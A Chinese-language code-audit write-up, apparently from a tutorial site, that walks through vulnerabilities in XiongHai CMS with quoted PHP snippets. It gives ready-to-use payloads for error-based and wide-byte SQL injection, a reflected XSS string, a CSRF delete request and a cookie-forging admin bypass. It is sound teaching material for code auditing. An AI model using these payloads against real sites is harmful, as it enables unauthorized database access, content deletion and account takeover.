熊海CMS代碼審計(jì)漏洞分析
前言
熊海CMS是由熊海開發(fā)的一款可廣泛應(yīng)用于個(gè)人博客,個(gè)人網(wǎng)站,企業(yè)網(wǎng)站的一套網(wǎng)站綜合管理系統(tǒng)。作為一個(gè)早期的系統(tǒng),里面代碼存在許多漏洞利用點(diǎn),且代碼量低適合作為代碼審計(jì)的入門挑戰(zhàn),本文就帶領(lǐng)大家對該系統(tǒng)存在的漏洞進(jìn)行分析。

基本結(jié)構(gòu)
這里我選擇使用小皮面板搭建在了本地,以便于調(diào)試錯誤,首先我們看看系統(tǒng)的結(jié)構(gòu):
——admin //后臺?件 ——css //css?件 ——files //功能函數(shù)?件 ——images //圖? ——index.php //主?錄?件 ——install //安裝?件 ——seacmseditor //編輯器 ——template //模板?件 ——upload //?件上傳?錄
SQL注入漏洞
第一處
我們跳轉(zhuǎn)到admin/files/editlink.php,分析里面的一段代碼:
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
簡單分析一下,我們通過GET輸入id和type,之后type與1進(jìn)行對比,匹配后會執(zhí)行SQL語句,了解SQL注入漏洞的朋友可能會看出這里有一個(gè)單引號閉合漏洞,我們只需在參數(shù)前進(jìn)行構(gòu)造閉合單引號,之后便可以成功執(zhí)行自定義的SQL語句:
r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
需要注意的是作為結(jié)果只返回給我們SQL語句正確與否,所以這里考慮使用錯報(bào)注入。
第二處
admin/files/editlink.php這個(gè)路徑下有一段代碼:
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
$link = mysql_fetch_array($resul);
這里同樣存在一個(gè)GET傳參點(diǎn),我們可以傳入變量名為id的值,之后會執(zhí)行SQL語句查詢ID,若SQL語句有誤,進(jìn)行錯報(bào),因?yàn)槭菃我栭]合這里可以和第一處一樣使用錯報(bào)注入。
id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
第三處
/file/download.php這個(gè)路徑下的代碼:
$llink=addslashes($_GET['r']); $query = "SELECT * FROM nav WHERE link='$llink'";
可以看到里面有addslashes函數(shù):

這個(gè)函數(shù)會將預(yù)定義字符轉(zhuǎn)換加上反斜杠,所以我們無法進(jìn)行正常的單引號閉合,需要想辦法繞過,方法也很多,這里就簡單用寬字節(jié)注入繞過,具體使用方法可以參考我之前的文章:
http://www.dhdzp.com/article/276349.htm
參考大佬的payload:
r=%df%27or%20if(1,sleep(3),1)%20%23
XSS漏洞
第一處
在/file/contact.php出存在漏洞代碼:
$page=addslashes($_GET['page']); <?php echo $page?>
可以看到直接echo出了page變量,而該變量是我們直接可以GET傳入的,這里我們直接使用彈窗payload:
<img src=1 onerror=alert(/xss/)>
第二處
在/files/content.php出,存在與第一處差不多的代碼:
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."頁 - ";
}
我們也可以向上面一樣將語句傳進(jìn)變量里去。

CSRF漏洞
第一處
這里以/admin/files/wzlist.php為例:
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL語句有誤:'.mysql_error());
echo "<script>alert('親,ID為".$delete."的內(nèi)容已經(jīng)成功刪除!');location.href='?r=wzlist'</script>";
exit;
可以看到代碼執(zhí)行刪除SQL語句時(shí)并沒有對代碼進(jìn)行檢測,刪除操作對應(yīng)下面的界面:

我們先嘗試刪除然后進(jìn)行抓包,抓到了刪除時(shí)GET進(jìn)行的傳參:
?r=wzlist&delete=18
之后換另一個(gè)瀏覽器訪問整個(gè)payload,結(jié)合該系統(tǒng)中的一個(gè)越權(quán)操作,將user改成admin,之后訪問,成功實(shí)現(xiàn)了跳過驗(yàn)證進(jìn)行了刪除操作。

當(dāng)然這只是其中的一個(gè)點(diǎn),softlist.php也存在類似的CSRF漏洞。
垂直越權(quán)
第一處
在/inc/checklogin.php中,這里只看存在漏洞的代碼:
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
這里直接給user的cookie值設(shè)置成admin,即可跳轉(zhuǎn)管理員界面。
結(jié)語
今天給大家?guī)淼氖且粋€(gè)小型CMS的代碼審計(jì),當(dāng)然該系統(tǒng)的漏洞遠(yuǎn)不止文中提到的這些,總的來說還是挺簡單的,有興趣的小伙伴可以自己下載源碼去搭建系統(tǒng)
以上就是熊海CMS代碼審計(jì)漏洞分析的詳細(xì)內(nèi)容,更多關(guān)于熊海CMS代碼審計(jì)的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
php 如何禁用eval() 函數(shù)實(shí)例詳解
在php中eval是一個(gè)函數(shù)并且不能直接禁用了,但eval函數(shù)又相當(dāng)?shù)奈kU(xiǎn)并經(jīng)常會出現(xiàn)一些問題,今天我們就一起來看看eval函數(shù)對數(shù)組的操作及php 如何禁用eval() 函數(shù),需要的朋友可以參考下2016-12-12
Ecshop 后臺添加新功能欄目及管理權(quán)限設(shè)置教程
這篇文章主要介紹了Ecshop 后臺添加新功能欄目及管理權(quán)限設(shè)置教程,需要的朋友可以參考下2017-11-11
laravel 數(shù)據(jù)驗(yàn)證規(guī)則詳解
今天小編就為大家分享一篇laravel 數(shù)據(jù)驗(yàn)證規(guī)則詳解,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧2019-10-10
php 使用curl模擬登錄人人(校內(nèi))網(wǎng)的簡單實(shí)例
下面小編就為大家?guī)硪黄猵hp 使用curl模擬登錄人人(校內(nèi))網(wǎng)的簡單實(shí)例。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個(gè)參考。一起跟隨小編過來看看吧2016-06-06
PHP開發(fā)框架kohana3 自定義路由設(shè)置示例
這篇文章主要介紹了PHP開發(fā)框架kohana3 自定義路由設(shè)置示例,kohana是一個(gè)純PHP5的開發(fā)框架,需要的朋友可以參考下2014-07-07
匹配csdn用戶數(shù)據(jù)庫與官方用戶的重合度并將重疊部分的用戶篩選出來
CSDN用戶數(shù)據(jù)泄漏導(dǎo)致官方用戶的安全受到了嚴(yán)重的威脅,故希望能把兩個(gè)站的用戶數(shù)據(jù)做個(gè)對比,把其中重疊部分的用戶篩選出來,并通知相應(yīng)用戶及時(shí)修改密碼,確保風(fēng)險(xiǎn)將至最低2011-12-12

